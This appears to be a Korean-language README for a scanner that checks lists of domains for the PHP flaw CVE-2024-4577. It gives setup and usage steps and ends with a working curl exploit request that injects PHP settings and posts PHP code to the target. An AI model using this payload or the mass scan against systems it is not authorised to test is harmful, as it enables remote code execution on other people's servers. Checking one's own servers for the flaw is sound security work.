CVE-2024-4577 취약점 검사기

이 스크립트는 CVE-2024-4577로 설명되는 취약점을 확인하기 위해 설계되었습니다. 이 취약점은 특정 PHP 구성을 악용하여 원격으로 임의 코드를 실행하는 것을 포함합니다. 도메인 목록의 지정된 엔드포인트에 POST 요청을 보내고 응답이 취약점을 나타내는지 확인합니다.

사용법

1. GNU Parallel 설치:

   root@kitploit:~

   sudo apt-get install parallel
   

2. 저장소 복제: Git을 사용하여 이 저장소를 로컬 머신에 복제합니다:

   root@kitploit:~

   git clone https://github.com/Yukiioz/CVE-2024-4577.git
   

3. 저장소로 이동: 복제된 디렉토리로 이동합니다:

   root@kitploit:~

   cd CVE-2024-4577
   

4. 도메인 목록 준비: 확인할 도메인 목록이 포함된 텍스트 파일을 생성합니다. 각 도메인은 새 줄에 있어야 합니다. 예시:

   root@kitploit:~

   https://example1.com
   https://example2.com
   https://example3.com
   

5. 스크립트 실행: 도메인 목록 파일의 경로를 인수로 전달하여 CVE-2024-4577.sh 스크립트를 실행합니다:

   root@kitploit:~

   ./CVE-2024-4577.sh live-subdomains.txt | tee script.log
   

6. 출력 검토: 스크립트는 각 도메인을 확인하면서 진행 정보를 표시합니다. 취약한 도메인이 발견되면 빨간색으로 강조 표시됩니다. 또한 스크립트는 취약한 도메인 목록을 vulnerable_domains.txt 파일로 내보냅니다.

내보낸 파일: vulnerable_domains.txt

스크립트는 취약한 도메인 목록을 vulnerable_domains.txt 파일로 내보냅니다. 이 파일은 각 도메인이 새 줄에 있는 취약한 도메인의 간단한 목록을 포함합니다. 추가로 수동 확인을 위해 curl 명령을 사용하여 도메인의 대상 엔드포인트에 POST 요청을 보냅니다. https://dev.example.com/test.php를 대상 도메인의 실제 엔드포인트로 바꾸세요.

curl -X POST https://dev.example.com/test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input \
     -H "User-Agent: curl/8.3.0" \
     --data "<?php phpinfo(); ?>"